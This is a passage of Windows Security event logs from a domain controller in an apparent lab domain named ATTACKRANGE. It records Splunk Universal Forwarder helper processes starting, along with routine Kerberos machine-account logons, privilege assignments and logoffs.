RecordNumber=257157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1178
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257156
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B8DE2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59428

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257155
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8DE2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257154
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B8D9A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257153
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8D9A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257152
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B8C8C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59427

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257151
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B8C8C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:12:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257163
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:12:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257165
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B928A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257168
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4BB08B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:12:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257167
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4BB08B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59440

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:12:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257166
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4BB08B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:13:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257169
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x874
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257170
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257171
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257172
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257173
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x45c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:13:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257178
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4BE613

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:13:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257177
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4BE613
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59453

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:13:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257176
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4BE613

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:14:08 AM
LogName=Security
